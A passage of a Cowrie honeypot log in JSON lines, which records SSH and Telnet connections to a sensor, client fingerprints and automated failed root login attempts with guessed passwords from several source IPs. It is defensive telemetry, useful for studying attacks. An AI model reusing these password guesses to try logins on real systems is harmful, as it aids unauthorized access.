.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:51.179581Z","src_ip":"43.245.98.60","session":"fca883942cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1998","message":"login attempt [root/1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:52.179506Z","src_ip":"43.245.98.60","session":"fca883942cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:53.425763Z","src_ip":"43.245.98.60","session":"fca883942cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.7890465259552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:53.508664Z","src_ip":"152.42.224.71","session":"4b49a340c3a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50224,"dst_ip":"159.203.135.109","dst_port":22,"session":"b345a0ea720f","protocol":"ssh","message":"New connection: 87.251.79.125:50224 (159.203.135.109:22) [session: b345a0ea720f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:56.724567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:56.729638Z","src_ip":"87.251.79.125","session":"b345a0ea720f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:56.803201Z","src_ip":"87.251.79.125","session":"b345a0ea720f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111213","message":"login attempt [root/111213] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:57.022259Z","src_ip":"87.251.79.125","session":"b345a0ea720f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:58.098038Z","src_ip":"87.251.79.125","session":"b345a0ea720f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"eebf2d99b6d5","protocol":"ssh","message":"New connection: 124.109.2.211:58130 (10.17.0.5:22) [session: eebf2d99b6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:58.964796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:59.045481Z","src_ip":"124.109.2.211","session":"eebf2d99b6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:59.272612Z","src_ip":"124.109.2.211","session":"eebf2d99b6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33030,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb8eee4852fe","protocol":"telnet","message":"New connection: 152.42.224.71:33030 (10.17.0.5:23) [session: cb8eee4852fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:00.482895Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"buzhidao","message":"login attempt [root/buzhidao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:01.349087Z","src_ip":"124.109.2.211","session":"eebf2d99b6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:02.636385Z","src_ip":"124.109.2.211","session":"eebf2d99b6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51828,"dst_ip":"10.17.0.5","dst_port":23,"session":"d523135335c5","protocol":"telnet","message":"New connection: 152.42.224.71:51828 (10.17.0.5:23) [session: d523135335c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:11.143460Z"}
{"eventid":"cowrie.session.closed","duration":49.607606172561646,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:13.669894Z","src_ip":"152.42.224.71","session":"43acbd18159c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":53300,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0face70813","protocol":"ssh","message":"New connection: 43.133.148.170:53300 (10.17.0.5:22) [session: 8a0face70813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:15.340244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:15.344860Z","src_ip":"43.133.148.170","session":"8a0face70813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:15.604692Z","src_ip":"43.133.148.170","session":"8a0face70813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxl","message":"login attempt [root/zxl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:16.677340Z","src_ip":"43.133.148.170","session":"8a0face70813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:17.939354Z","src_ip":"43.133.148.170","session":"8a0face70813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57002,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ac769eacf57","protocol":"ssh","message":"New connection: 103.172.78.219:57002 (10.17.0.5:22) [session: 4ac769eacf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:20.860463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:20.865201Z","src_ip":"103.172.78.219","session":"4ac769eacf57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:21.128390Z","src_ip":"103.172.78.219","session":"4ac769eacf57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sabrina","message":"login attempt [root/sabrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:21.917967Z","src_ip":"103.172.78.219","session":"4ac769eacf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:23.185400Z","src_ip":"103.172.78.219","session":"4ac769eacf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.6138424873352,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:29.331377Z","src_ip":"152.42.224.71","session":"c9f6b892c2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.83261489868164,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:31.715244Z","src_ip":"152.42.224.71","session":"341eae0cdedb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37520,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c5228c7b53","protocol":"ssh","message":"New connection: 62.133.63.178:37520 (10.17.0.5:22) [session: 86c5228c7b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:40.519426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:40.524891Z","src_ip":"62.133.63.178","session":"86c5228c7b53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:40.649222Z","src_ip":"62.133.63.178","session":"86c5228c7b53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undertaker","message":"login attempt [root/undertaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:41.022955Z","src_ip":"62.133.63.178","session":"86c5228c7b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:42.149073Z","src_ip":"62.133.63.178","session":"86c5228c7b53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43666,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b7898a863e5","protocol":"telnet","message":"New connection: 152.42.224.71:43666 (10.17.0.5:23) [session: 1b7898a863e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:43.482261Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58716,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a68cda5598","protocol":"telnet","message":"New connection: 152.42.224.71:58716 (10.17.0.5:23) [session: 84a68cda5598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:46.596965Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58726,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92420cf0b85","protocol":"telnet","message":"New connection: 152.42.224.71:58726 (10.17.0.5:23) [session: b92420cf0b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:46.890462Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":54322,"dst_ip":"10.17.0.5","dst_port":22,"session":"537dafa46a43","protocol":"ssh","message":"New connection: 103.183.114.55:54322 (10.17.0.5:22) [session: 537dafa46a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:47.459579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:47.465577Z","src_ip":"103.183.114.55","session":"537dafa46a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:47.682333Z","src_ip":"103.183.114.55","session":"537dafa46a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.78995180130005,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:47.745800Z","src_ip":"152.42.224.71","session":"f4848db1a5bb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"11223344q","message":"login attempt [root/11223344q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:48.556777Z","src_ip":"103.183.114.55","session":"537dafa46a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:49.780635Z","src_ip":"103.183.114.55","session":"537dafa46a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.74949789047241,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:17:56.892851Z","src_ip":"152.42.224.71","session":"d523135335c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59124,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c71f35cccb2","protocol":"ssh","message":"New connection: 103.77.242.62:59124 (159.203.135.109:22) [session: 1c71f35cccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:05.886401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:05.895005Z","src_ip":"103.77.242.62","session":"1c71f35cccb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:06.137772Z","src_ip":"103.77.242.62","session":"1c71f35cccb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z12345","message":"login attempt [root/z12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:06.866270Z","src_ip":"103.77.242.62","session":"1c71f35cccb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:08.111242Z","src_ip":"103.77.242.62","session":"1c71f35cccb2","protocol":"ssh"}
